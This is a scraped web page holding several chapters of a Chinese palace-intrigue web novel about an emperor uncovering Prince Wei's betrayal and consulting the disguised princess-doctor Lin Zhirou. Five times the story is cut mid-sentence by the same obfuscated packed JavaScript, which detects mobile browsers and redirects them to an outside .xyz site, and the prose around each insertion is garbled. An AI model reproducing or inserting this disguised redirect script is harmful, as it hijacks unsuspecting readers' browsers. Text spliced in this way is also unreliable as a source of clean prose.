这个问题,他心中其实早有答案。玄冥新出现的飞火连珠弓,就是最好的证明。想到这里,皇帝心中又是一阵刺痛。当初云陵伯父子被贬,他默许魏王插手云州的事务,以为不过是儿子对那座城市的喜爱。 谁知这竟是一个精心设计的陷阱。那个女人,为了玄冥不惜抛弃亲生骨肉,更是算计了他这个九五至尊。一想到自己竟被蒙在鼓里这么多年,皇帝就觉得胸口发闷。 “回陛下,玄冥四王子带回了飞火连珠弓的图纸。柳贵妃献上后,深得大汗欢心,故而被封为皇贵妃。”影卫首领的声音更低了。 皇帝手指在龙椅扶手上轻轻叩击:“继续说。” “据探子回报,柳贵妃在玄冥备受宠爱,常在大汗耳边进言。玄冥近来频频调兵,似有南下之意。” “朕要知道她与魏王的每一次接触,每一笔交易。一丝一毫都不能放过。”皇帝的声音冷得像冰。 “是!属下这就去查。” 影卫首领退下后,皇帝猛地一拳砸在案几上,茶盏震得跳了起来:“传太子!解除他的禁足!” 温七连忙退出去传令。御书房内只剩下皇帝一人,他望着窗外的天色,眼神逐渐暗沉。这些年来的迷障终于散去,东吴国虽有星**,但向来秉持和平之道,绝不外售。玄冥得到飞火连珠弓的途径,只可能是云陵伯府。 而这一切的源头,都指向那个他曾经深爱的女人,和那个他一手培养的儿子。想到自己竟然帮玄冥养大了一个细作,还差点让他继承大统,皇帝只觉得心口发寒。 他想起了云州。魏王、玄冥四王子、林大夫,所有的线索似乎都指向那里。或许该再去见见那个年轻的东吴国安国公主,她手中掌握着星**的门路。 脚步声由远及近,太子司马宁快步走进御书房。看到父皇神色阴郁地坐在那里,他心中一紧,连忙跪下:“儿子向父皇请安。” 皇帝仔细端详着这个儿子的面容。他的眉眼像极了先皇,这也是他一直不喜欢这个儿子的原因之一。当年为了昌雨柳,他没少与先皇起争执。如今想来,那些年轻气盛时的任性,竟酿成了如此大祸。 “宁儿,你觉得父皇是不是个迷糊蛋?”皇帝突然问道。 司马宁一愣,抬头看了父皇一眼,又迅速低下头去:“父皇想要听实话?” “说吧。” 司马宁跪直身子,声音哽咽:“父皇,您中了圈套。云陵伯父子被流放,云州落入魏王之手,飞火连珠弓的图纸流入玄冥。大皇兄心怀不轨,玄冥已经开始制造连珠弓,天玄危在旦夕...” 皇帝闭上眼睛,心中五味杂陈。他终于看清了这盘棋局,却不知是否为时已晚。 “父皇,儿臣有一事不明。”司马宁犹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064877|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豫片刻,还是开口问道。 “说。” “为何玄冥会对云州如此执着?那里虽然地处要冲,但并非军事重地。” 皇帝睁开眼,目光深邃:“因为那里有东吴国的星**。” 司马宁倒吸一口冷气:“父皇的意思是...” “不错。魏王勾结玄冥,想要得到东吴国的星**技术。云陵伯府的飞火连珠弓不过是个开始,他们的真正目标是星**。”皇帝站起身,走到窗前。 夜色已经笼罩了皇城,远处的灯火星星点点。皇帝望着这片他守护了大半生的土地,心中突然涌起一阵疲惫。他转身看向司马宁:“你可知朕为何突然解除你的禁足?” 司马宁跪在地上,没有说话。 “因为朕终于明白,你才是真正忠于天玄的人。这些年来,是朕错怪你了。”皇帝的声音有些沙哑。 司马宁猛地抬头,眼中泪光闪动:“父皇...” “起来吧。”皇帝叹了口气,“从今天起,你就是监国太子。朕要你立刻派人前往云州,无论如何也要阻止星**落入玄冥之手。” 司马宁站起身,郑重地行礼:“儿臣遵命。” “还有,”皇帝顿了顿,“派人盯住魏王府。朕要知道他的一举一动。” “是。” 皇帝重新坐回龙椅。他拿起桌上的奏折,却怎么也看不进去。那个女人的面容不断在脑海中浮现,曾经的甜蜜回忆此刻都变得苦涩无比。 温小七端着参汤走进来,看到皇帝神色疲惫,小心翼翼地说道:“陛下,该用药了。” 皇帝接过参汤,苦笑一声:“朕这心病,怕是药石难医了。” 夜色渐深,御书房的灯火依旧明亮。皇帝坐在案前,批阅着堆积如山的奏折。他知道,接下来的日子将会是一场硬仗。但这一次,他不会再被感情蒙蔽双眼。 为了天玄,为了这片土地上的百姓,他必须斩断所有的情丝,做一个真正的帝王。 第二百五十二章 再次出宫去找林芷柔 皇帝静默地端坐在御座上,目光凝视着跪在地上的儿子。殿内的空气仿佛凝固了,连宫女太监们都屏住了呼吸,生怕打扰了这份沉寂。 司马宁却依然倔强地抬着头,目光坚定地望着父皇,就像当初为云陵伯一家求情时那般执着。他的衣袍有些凌乱,额头渗出细密的汗珠,但神情却异常坚毅。 回想起那时,他信誓旦旦地说要彻查,说云陵伯府绝不会****,说这是魏王的栽赃陷害。当时的情形仿佛就在眼前,太子跪在殿中,声音铿锵有力:“父皇,云陵伯一家三代忠烈,绝不会做出这等背叛朝廷的事!” 皇帝心中泛起一丝苦涩。当时他是多么相信大儿子,可如今呢?昌雨柳那张温和儒雅的面具下,究竟藏着怎样的心思?想到这里,他的手指不自觉地扣紧了龙椅扶手。 殿内的烛火摇曳,在地上投下长长的影子。皇帝深吸一口气,压下心中的波澜,缓缓开口:“对于魏王和仁心医馆的林大夫,你了解哪些事情?” “父皇!”司马宁重重地叩首,额头贴地,声音微微发颤,“大皇兄的生母并未死去,她如今是玄冥的柳贵妃,还生了个儿子叫李远龙。他们兄弟二人一直有来往,宝丰钱庄是大皇兄的生意,柳贵妃还送给了他一座银矿。” 皇帝的手指微微颤抖。宝丰钱庄?银矿?那个女人竟然布局如此之深。记忆中那个温婉贤淑的女子,竟是这般算计。往事如潮水般涌来,那些深埋在心底的往事,此刻都变得清晰起来。 “是林大夫告诉你的?”皇帝强压下心中的震惊,语气平和地将太子扶起,“坐下说吧。”他的目光中带着几分慈爱,这是近来难得的温和。 司马宁受宠若惊地坐到父皇身边,身子却依然挺得笔直:“是的,这些都是最近几日林大夫告诉儿臣的。虽然没有确凿证据,但儿臣相信她不会说谎。” “还有什么?”皇帝的声音依然平静,但眼底已经泛起一丝急切。 “大皇兄找林大夫购买东吴的星**。”司马宁咬了咬牙,说出这个惊人的消息。 皇帝的心猛地一沉。星**?这是要谋反吗?殿内的温度仿佛骤然降低,连烛火都似乎暗淡了几分。 “她答应了?”皇帝的声音中带着一丝紧绷。 “没有,”司马宁摇头,“魏王的库房被人搬空了,一个铜板都不剩。” 皇帝紧绷的面容渐渐舒展,甚至露出一丝笑意:“有人偷了魏王的库房?好啊,没有银子,他就翻不起什么浪来。”说这话时,他的目光望向殿外,仿佛在思索着什么。 司马宁敏锐地察觉到父皇话中的冷意。看来父皇已经对魏王心生厌恶了。他的心中既欣喜又担忧,欣喜的是父皇终于看清了大皇兄的真面目,担忧的是接下来可能发生的动荡。 “宁儿,”皇帝从袖中取出一份圣旨,“云陵伯父子如今在何处?父皇要密召他们回云州,守住那道关卡。只要云州在,玄冥就休想染指龙城。” 司马宁眼眶发热。这是父皇第一次如此信任他,将如此重要的密令交给他。他小心翼翼地接过圣旨,仿佛捧着一件稀世珍宝。 “这件事要秘密进行,表面上一切如常。”皇帝叮嘱道,目光深邃,“父皇要看看魏王会有什么反应。” “儿臣明白。”司马宁郑重地点头,将圣旨贴身收好。 “宁儿!”皇帝拍了拍太子的手臂,语气中带着几分关切,“你是父皇最看重的人,一定要保重。” 待太子离去,皇帝独自坐了许久。殿内烛火摇曳,投下的影子在地上晃动,仿佛在演绎着某种无声的剧目。他的目光渐渐变得深沉,随后唤来贴身太监,换上一身便装。 “温七,随朕出宫。” 温七连忙跟上,心中却暗暗吃惊。这些日子皇上频频微服出宫,显然是有什么重要的事情。 皇帝带着温七直奔仁心医馆。正值午时,街上行人稀少,医馆内更是空无一人,只有林芷柔和林巧巧趴在桌上打盹。阳光透过窗棂洒在她们身上,勾勒出一幅恬静的画面。 皇帝静静地打量着林芷柔。这个东吴公主当真是个高手,用如此巧妙的方式让他知晓了昌雨柳的真面目。一个金枝玉叶,却甘愿在异国他乡开医馆,免费施药。即使沦为平民,也活得坦然自在。 林芷柔似乎察觉到有人在旁,睫毛轻轻颤动,随后睁开眼睛。当看清来人时,她的瞳孔微微一缩,但很快就恢复了平静。 “巧巧,去告诉娘,我今晚想尝尝她做的卤蛋。”林芷柔轻声说道,语气自然得仿佛只是在吩咐一件寻常事。 林巧巧揉了揉惺忪的睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064878|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,看到站在那里的两个人,顿时清醒过来。她识趣地退了出去,还顺手带上了门。 林芷柔起身,对皇帝抱拳行礼。既然是微服私访,自然不必大礼**。她的动作优雅从容,丝毫看不出方才还在打盹的模样。 “林大夫可知本老爷为何而来?”皇帝意味深长地问道,目光中带着几分探究。 医馆内一时陷入沉默。林芷柔抬起头,迎上皇帝的目光,嘴角勾起一抹若有若无的笑意。 “你猜到本老爷的身份了?”皇帝眼底闪过一丝玩味,指尖轻轻敲击着桌面,语气中带着几分兴趣。 林芷柔站在房中,目光平静地望着眼前这位至高无上的帝王。她的唇角微微上扬,露出一个恰到好处的笑容,“不敢说一开始就猜到,是您准备带走那幅画的时候,我才确定的。” 皇帝的目光在林芷柔脸上停留片刻,似乎在揣测她话中的真假。“哦?”他眉头轻挑,语气中带着几分试探,“那画中人的身份,你想必也知道了?” 林芷柔心中暗自盘算。这件事迟早要说,与其遮遮掩掩,不如趁此机会和盘托出。她整理了一下思绪,轻声开口:“那是玄冥四王子的生母。当初他假扮土匪时不慎遗落的。” 说这话时,她特意含糊其辞,将画的来源说得模棱两可。画是在云州的小院中发现的,而非土匪窝。除非秦面罗刹亲自对质,否则谁也说不清真假。 “整个龙城认得这幅画的人不多。”林芷柔继续道,目光平静地与皇帝对视,“而且我在云州时,意外发现魏王与玄冥四王子的关系不一般。” 皇帝眸光一闪,面上却波澜不惊。他端起茶盏,轻轻抿了一口,“此话怎讲?” 林芷柔心中暗笑,总不能说是派乌鸦监视发现的。她随即编道:“起因是魏王的良娣贾秦华勾引我家楚星河,我一怒之下派人暗中跟踪,发现魏王与一个叫李远龙的玄冥人来往密切。” 房内的气氛微妙地变化着。皇帝放下茶盏,目光渐渐变得锐利,“继续说。” 林芷柔注意到皇帝的神色变化,故作迟疑地开口:“陛下,要不要先吃颗定心丸?” 一旁的温七连忙从怀中掏出药瓶,却被皇帝一抬手就给制止了。 “不必。”皇帝的声音沉稳有力,“说吧。” 第二百五十三章 合盘托出 林芷柔深吸一口气,将自己“听到”的对话和盘托出。她说得不紧不慢,每一个细节都恰到好处,既不会显得过于刻意,又能让人信服。 皇帝听罢,突然大笑起来,笑声在空旷的大殿中回荡:“好大的野心!想做两国太后?真是不知天高地厚。” 笑声渐歇,皇帝的目光突然变得犀利,“说说看,你是如何与太子联系的?” 林芷柔不慌不忙,转身招来灰羽和墨翎。两只乌鸦稳稳地落在她的肩头,“它们是我的信使。我还训练了好几只鹰隼呢,给太子送了三只。” 皇帝饶有兴致地打量着这两只乌鸦。只见它们朝皇帝点头示意,随即展翅飞上屋顶。乌鸦漆黑的羽毛在烛光下泛着幽幽的光泽,显得格外神秘。 “剩下的鹰隼都给太子了,陛下若想要,可以跟他要一只。”林芷柔说这话时语气轻松自然,仿佛在与多年好友闲聊,丝毫不见在皇帝面前应有的拘谨。 皇帝暗自惊讶,这个林大夫当真特别。不卑不亢,不谄不媚,对谁都是这般率真。他故意试探道:“他会给吗?” “当然会给。”林芷柔笑道,眼中闪过一丝狡黠,“让他把小墨给您,老**留着就够用了。” “小墨?老**?”温小七一脸困惑,忍不住插嘴问道。 林芷柔认真解释:“对啊,它们是一家子。爹叫青羽,娘叫灵灵,生了五只小鹰隼。”说到这里,她的眼中流露出几分温柔,仿佛在说着自己的孩子。 皇帝听到这些名字,忍俊不禁:“林大夫,你这取名...” “青羽是它自己要叫的。”林芷柔一本正经地解释,“它说自己青羽顶天立地,行不改名坐不改姓呢。” 皇帝再也忍不住,放声大笑。这几日的阴霾一扫而空,连带着整个大殿的气氛都轻松了许多。 “陛下,”林芷柔看着开怀大笑的皇帝,轻声道,“笑一笑,十年少。有些事能管就管,管不了就甩手不管。做皇帝这份职业,本就不易。” “职业?”皇帝愣住了,笑声戛然而止,“你竟把皇帝当成一种职业?” 温小七倒吸一口凉气,目光惊诧地看向林芷柔。他的手心渗出细密的汗珠,心跳如擂鼓般剧烈。 这位来自东吴国的女大夫,竟敢当着皇上的面说出如此大胆的言论。 “林大夫,您这话......”温小七的声音有些发颤,欲言又止。他下意识地瞥了眼皇上的身影,手指不自觉地绞在一起。 林芷柔立于一旁,一袭素白衣裙,神色淡然。她的目光清澈如水,眼底闪过一丝狡黠:“怎么,小七公公是觉得我说错了?” 烛光映照在她白皙的面容上,勾勒出柔和的轮廓。她的唇角微微上扬,带着几分不易察觉的自信。 “不不不,”温小七连连摆手,额头渗出细密的汗珠,“只是这话说的......”他的声音越来越小,最后几乎微不可闻。 殿内的气氛愈发凝重,连空气似乎都变得粘稠起来。 “有何不妥?” 低沉的声音突然响起,打破了殿内的寂静。皇帝缓缓抬眼,目光深邃地看向林芷柔。他的手指轻轻叩击着龙椅扶手,发出规律的声响。 “说来听听。” 林芷柔微微一笑,眼中闪过一丝难以捉摸的光芒:“回皇上,臣女斗胆,想说说皇帝这个职业。” 她的声音清脆悦耳,在空旷的大殿内回荡。 “哦?”皇帝来了兴致,眸光微动,“你倒是说说看。”他的身子微微前倾,显示出对这个话题的关注。 “皇帝,说到底不过是个职业罢了,”林芷柔不紧不慢道,语气中带着几分从容,“而且,是最不好干的职业。” 温小七的心都提到了嗓子眼。他的手心已经完全被汗水浸湿,眼角余光不停地瞥向皇帝,生怕看到龙颜大怒的场面。 这位林大夫,真是胆大包天。 “有意思,”皇帝眼中闪过一丝玩味,唇角勾起一抹若有若无的笑意,“为何这么说?” “这话是我与舅舅讨论过的,”林芷柔不慌不忙,眼底闪过一丝追忆,“舅舅都说我说得对。” 皇帝眸光一动,手指停下了叩击的动作。 东吴国君么? 殿内的气氛微妙地变化着,连空气都似乎凝固了几分。 “你且说说。”皇帝的声音中带着几分期待。 林芷柔整理了下衣袖,目光清明:“首先,皇帝这个职业压力太大。”她的声音清晰而坚定,“一言一行都牵动天下,一个决策可能影响千万百姓。” 皇帝若有所思地点了点头,眼底浮现出一丝共鸣。 “就拿今年的旱灾来说,”林芷柔继续道,“是开仓赈灾还是等待天降甘霖?是减免赋税还是维持朝廷收入?每一个决定都关系着无数百姓的生死。” 皇帝的目光微微闪动,想起前些日子为了赈灾一事,几乎彻楚未眠。 “其次,这职业竞争太过激烈,”林芷柔的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071912|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音带着几分感慨,“兄弟阋墙,骨肉相残,甚至连枕边人都可能是敌人。” 皇帝眼底掠过一丝暗芒,指节不自觉地收紧。往事如潮水般涌来,那些明争暗斗的场景,那些背叛与算计,历历在目。 “再者,规矩太多,”林芷柔轻叹一声,“祖制礼仪,事事讲究,连吃饭走路都要按规矩来。”“就连这殿内的摆设,都要讲究方位尺寸。” 皇帝不自觉点了点头,想起自己每日早朝前那繁琐的梳洗礼仪。 “还有**斗争,”林芷柔继续道,“朝堂之上,党派之争,世家权贵,无一不需要应对。文官武将之间的平衡,各地节度使的制衡,哪一样不是要费尽心思?” 皇帝眼中闪过赞赏,这个东吴国来的女子,对朝政竟有如此深刻的见解。 “最后便是百姓期望,”林芷柔的声音带着几分沉重,“天下苍生的期盼,都压在一个人身上。期望您能带来太平盛世,期望您能解决他们的困苦。” “说得好,”皇帝轻笑,眼中闪过一丝赞许,“还有呢?” “还有......”林芷柔顿了顿,目光微微闪烁,“后宫之事。” 皇帝眸光一凝,手指无意识地摩挲着椅子扶手。 “为了平衡朝局,不得不委屈自己,”林芷柔直言不讳,“明明厌恶,却要强颜欢笑。为了笼络某个大臣,不得不宠幸其女儿;为了安抚边疆,不得不纳某个部落的公主......” 皇帝的手指微微收紧,指节泛白。 往事如潮水般涌来。 那些被迫宠幸的妃嫔,那些违心的笑脸,那些令人作呕的谄媚......每一幕都清晰地浮现在眼前。直到皇后生下太子,他才摆脱这些困扰。 可即便如此,他最在意的人,却给了他最大的背叛。 昌雨柳...... 这个名字在心底划过,带来一阵刺痛。皇帝眼底掠过一丝阴霾,面容瞬间变得冷峻。 他一定要让玄冥大汗把人交出来。 他要亲自问个明白。 然后,亲手了结这段孽缘。 “说得不错,”皇帝收敛心绪,声音恢复了平静,“确实是个不好干的职业。” 林芷柔微微一笑,不再多言。她的目光平静如水,仿佛刚才那番惊人之语不是出自她口。 温小七看看皇帝,又看看林芷柔,他擦了擦额头的汗珠,心中暗自庆幸这场惊心动魄的对话总算结束了。 “ 第二百五十四章 林芷柔为皇帝解惑 次日皇宫内皇帝的目光在殿内游移片刻,最终落在了林大夫身上。他微微前倾身子,眼中闪过一丝不易察觉的探究。 “林大夫,朕有个问题想请教。”皇帝的声音低沉而平缓,“为何有些孩子虽非亲生,却会随着时日渐长,与养父越发相像?” 这话一出,殿内气氛骤然一滞。林芷柔险些笑出声来,她抿了抿唇,将那丝笑意压下。莫非魏王竟不是皇帝亲生?若真如此,那他这条命怕是悬了。 “回陛下。”林芷柔整理了下思绪,正色道,“此事说来颇为有趣。若是父亲对孩子倾注了大量心血,日日陪伴教导,孩子便会不自觉地模仿父亲的一举一动。” 她顿了顿,继续解释:“就像孩童学步,总爱跟在大人身后,学着大人的样子走路说话。时日久了,不仅是行为举止,就连说话方式、表情神态,甚至容貌都会渐渐相似。这便是所谓的耳濡目染,潜移默化。” 皇帝听得若有所思,眼神逐渐变得恍惚。他想起当年魏王幼时,因丧母便将其带在身边抚养。那时他几乎倾注了全部的父爱,日日陪伴,楚楚守护,直到五岁才送去国子监读书。 殿内一时寂静,只听得殿外檐角铜铃被风吹得叮当作响。皇帝的手指无意识地敲击着龙椅扶手,节奏渐渐变得急促。 原来自己精心培养的儿子,竟是个野种。他恨不得将昌雨柳**万段,为何要如此算计于他?一股怒火在胸腔中翻涌,却又被他强压下来。 “那么,”皇帝忽然又开口,声音里带着一丝不易察觉的颤抖,“为何有些孙儿会与祖父极为相像?” 一旁的温小七听得心惊肉跳。这话题太过敏感,他悄悄瞥了眼林大夫,生怕她一个不慎说错了话。 林芷柔心中了然,这必是说的太子了。她不动声色地整理了下衣袖,语气平静道:“这是遗传使然。血脉相连的亲人,不仅容貌会相似,就连性格、体质,甚至某些疾病都会遗传。” “什么?”皇帝猛地坐直身子,眼中闪过一丝惊诧,“?” “确实如此。”林芷柔点头,“比如心疾、哮喘等,都可能会遗传给子孙后代。有些病症会隔代遗传,祖父有的病,孙辈也可能会患上。” 皇帝的手指停止了敲击,他靠回龙椅上,目光深邃。殿内的气氛愈发凝重,连呼吸声都变得清晰可闻。 忽然,皇帝话锋一转:“听闻魏王欲向林大夫购买东吴星**?” “他若有银子,倒也不是不可。”林芷柔轻笑一声,眼中闪过一丝揶揄,“可惜,他没有。” 皇帝闻言一愣。魏王这些年来积累的财富不菲,怎会没有银子?难道...他的眼神逐渐变得锐利。 “听说东吴国不轻易出售星**?”皇帝意有所指地问道,“除非是安国公主开口?” 林芷柔神色坦然,语气依旧从容:“确实如此。不过舅舅的本意,是愿意与天玄商谈星**制造之术。” “当真?”皇帝眼前一亮,身子不自觉地前倾,“若要派人前去商谈,该派何人为宜?” “楚星河。”林芷柔毫不犹豫地回答,语气笃定。 皇帝缓缓靠回龙椅,眼中精光闪烁。楚家父子能造出飞火连珠弓,自然也有能力研制星**。难怪魏王会去云州,想必是察觉到了什么。 东吴国君访问云州后便能制造星**,这其中必有蹊跷。皇帝的目光定格在林芷柔身上。 “林大夫,”皇帝忽然问道,“你可知道魏王为何会去云州?” 林芷柔微微一笑:“听说是为了查案。不过具体查什么,臣就不得而知了。” “查案?”皇帝冷笑一声,“他一个王爷,何时这般勤勉了?” 殿内气氛骤然紧张。温小七的额头渗出细密的汗珠,他悄悄看了眼林芷柔,却见她神色如常。 “也许是为了星**。”林芷柔淡淡道,“魏王一直对火器颇感兴趣。” :“你似乎对魏王很了解?” “不敢。”林芷柔微微欠身,“只是听说而已。” 皇帝沉默片刻,忽然问道:“林大夫,你觉得魏王此人如何?” 这个问题来得突然,林芷柔心中一凛。她略作思考,才缓缓开口:“魏王聪明果断,但过于急功近利。他想要的东西,总想立刻得到。这样的性子,在朝堂之上怕是不妥。” 皇帝听罢,目光深沉。殿内一时寂静,只有殿外的风声呼啸而过。 “说得好。”良久,皇帝才开口,“朕也是这么想的。” 林芷柔告退后皇帝站在御书房中,眉头紧锁。窗外的阳光透过雕花窗棂洒进来,在地上投下斑驳的光影。他的身影被拉得很长,仿佛与那些光影融为一体。 “安国公主?”他喃喃自语,眼中闪过一丝精光,随即又黯淡下来。手指无意识地敲击着案几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071913|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,发出轻微的响声。 这个称号来得蹊跷,却又在情理之中。一定是楚星河,那个年轻人给了林大夫星**的制造之法。否则,一个大夫怎会突然钻研出如此利器? 皇帝的目光落在案几上那份密报上,纸张已经被他捏得有些发皱。他的手指微微颤抖,显然是在极力压抑着内心的波动。 “陛下,”温小七跪在地上,小心翼翼地开口,“要不要派人去查查?” 皇帝摆了摆手,示意他起来。他踱步到窗前,望着远处的宫墙。派楚星河去东吴国,不过是个障眼法罢了。那小子,怕是早已将星**的制造之法烂熟于心。 想到这里,皇帝不禁冷笑。云陵伯这些年来,连个像样的武器都没研制出来。无论是飞火连珠弓还是星**,背后定是楚星河在运筹帷幄。 “陛下英明。”温小七恭敬地说道,眼睛却不敢直视皇帝的背影。 楚星河若是知道皇帝的想法,定会目瞪口呆。那些惊世骇俗的发明,哪是他想出来的?分明是他家柔柔,那个从九重天下凡的仙女所创。只是这些话,他连做梦都不敢说出口。 皇帝却沉浸在自己的推测中,突然转身,衣袖带起一阵风。“传密诏。” 温小七应声而去,脚步声渐渐远去。皇帝站在原地,目光深邃。他想起多年前,云陵伯府那个不起眼的少年,谁能想到会成长为如今这般人物? 楚星河此人,心思缜密。将星**献给东吴国君时,早已设下重重限制。不得随意出售,只可自保。唯有天玄才能获得制造之法,将所有风险都扼杀在摇篮里。 “玄冥想要购买星**?”皇帝冷哼一声,“痴人说梦!” 除了天玄,谁也休想染指。楚星河到底是天玄子民,深知武器外流的后果。皇帝的嘴角勾起一抹笑意,却不达眼底。 飞火连珠弓已是惊世之作,如今又添星**,不愧是老侯爷的血脉。皇帝想起当年的云陵伯,那个在战场上叱咤风云的将军,如今他的儿子同样不负众望。 魏王妄想购买星**对付朝廷?就算他库房满溢,也休想如愿。即便侥幸得手,也未必能用得了。林大夫何等聪慧,岂会破坏楚星河定下的规矩? 皇帝心中暗喜,宁儿结交的人才,果真不同凡响。当年飞火连珠弓打得玄冥**抱头鼠窜,如今他们又要尝尝星**的厉害。皇帝想到这里,眼中闪过一丝狠厉。 第二百五十五章 御书房内,皇帝即刻召见太子。司马宁正为密诏的送递方式发愁,派人送去恐遭劫持,用鹰隼又无法确定楚星河的位置。 “父皇。”司马宁推门而入,脸上带着倦意。显然,这些日子他也没少操心。 “宁儿,密诏可曾送出?”皇帝的声音里带着几分急切。 “尚未。”司马宁从怀中取出诏书,准备挨训。他的手指微微发抖,显然是做好了被责备的准备。 皇帝却出人意料地笑了:“好消息!东吴国的星**,十有**是楚星河所造。那小子好手段,林大夫说,只要他去东吴,星**之法便可尽数转予我天玄!” 司马宁眼前一亮,疲惫一扫而空:“如此甚好!得速派星河前往,将能工巧匠尽数带回。有了星**,云州便固若金汤,玄冥再也掀不起风浪!” 皇帝欣慰地看着儿子,提笔重拟密诏。这才是真正的储君,一心为国。阳光透过窗棂,照在父子二人身上,映出两道长长的影子。 想起林大夫的话,皇帝忽觉做皇帝也不过如此。早起晚睡,还得周旋于后宫,实在无趣。他放下朱笔,揉了揉太阳穴。 “父皇,您累了。”司马宁关切地说道。 皇帝摆摆手:“无妨,去看看你母后吧。” 他踱步来到皇后宫中,听见她在自语:“五哥,还记得小时候偷吃江米酿鸭子的事吗?”声音里带着几分怀念,几分伤感。 皇帝在她身边,心中一动。多年来,他何曾真正了解过这个女人?皇后的背影在烛光下显得有些单薄,仿佛一阵风就能吹散。 “那时候,”皇后继续说道,声音轻得几乎听不见,“娘还说要打断我们的腿。” 皇帝想说些什么,却又不知从何说起。他站在那里,看着皇后的背影,突然觉得很陌生,又很熟悉。 皇后站在窗前,目光落在远处的花园。夕阳的余晖洒在她的脸上,为她清秀的面容镀上一层淡淡的金色。 那一片角落,曾经是她和五哥偷吃江米酿鸭子的地方。时过境迁,花园依旧,人事却已全非。 她轻轻抬手,擦去眼角的泪水。记忆如潮水般涌来,带着淡淡的苦涩。指尖触碰到泪痕的瞬间,她仿佛又回到了那个夏日的午后。 那年她还小,蹲在花园的角落,看着五哥狼吞虎咽地吃着从厨房偷来的江米酿鸭子。阳光透过树叶的缝隙,在地上洒下斑驳的光影。 “小萱儿,你要是敢说出去,我就打你。”他凶巴巴地说着,嘴角还沾着油渍。 她被吓得连连点头,却又忍不住咽口水。香味钻入鼻子,勾得她肚子咕咕直叫。 五哥瞥了她一眼,又看了看手中的鸭翅膀:“这翅膀没什么肉,给你吧。”说着,将油光发亮的鸭翅膀递到她面前。 那是她吃过最香的鸭翅膀。油汁顺着下巴流下来,她也顾不得擦,只顾着大口啃咬。五哥在一旁笑她像只小墨猫,她也不恼,只是傻傻地跟着笑。 “皇后。” 身后传来熟悉的声音,皇后猛地回神。她转身看到皇帝站在身后,目光复杂地看着她。他穿着明黄色的龙袍,威严中带着几分疲惫。 “臣妾给皇上请安。”她低头行礼,长长的裙摆在地上铺开一片绣着牡丹的锦缎。 “起来吧。”皇帝的目光落在案几上的江米酿鸭子上,“今天是什么日子?” 皇后抿了抿唇,手指不自觉地绞在一起:“是...五哥去臣妾家偷吃的日子。” 她小心翼翼地观察着皇帝的表情,见他眉头微皱却没有生气的迹象,才继续说:“每年这一天,臣妾都会亲自做这道菜。” “为什么从不告诉朕?”皇帝的声音里带着一丝她读不懂的情绪。 “臣妾...不敢。”皇后低下头,睫毛微微颤动,“那是她的专属称呼,臣妾不能喊。” 皇帝走近一步,龙袍的衣摆扫过地面:“谁说的?” “是皇上啊。”皇后抬起头,眼中含泪,“大婚那天,皇上说那是昌雨柳的称呼,不许臣妾喊。” 皇帝怔住了。那天他喝得烂醉,满脑子都是昌雨柳,竟然说出这样的话。记忆中那张倔强的脸和眼前这张温婉的面容重叠在一起,让他心中泛起一阵说不清道不明的情绪。 “萱儿。”他伸手将皇后揽入怀中,龙袍上的香气将她包围,“以后,你就喊朕五哥吧。” 皇后浑身一颤,手指紧紧攥住衣角:“这...这不合适...” “有什么不合适的?”皇帝拿起筷子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081460|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夹起一块鸭肉,“来,尝尝你做的可有当年的味道。” 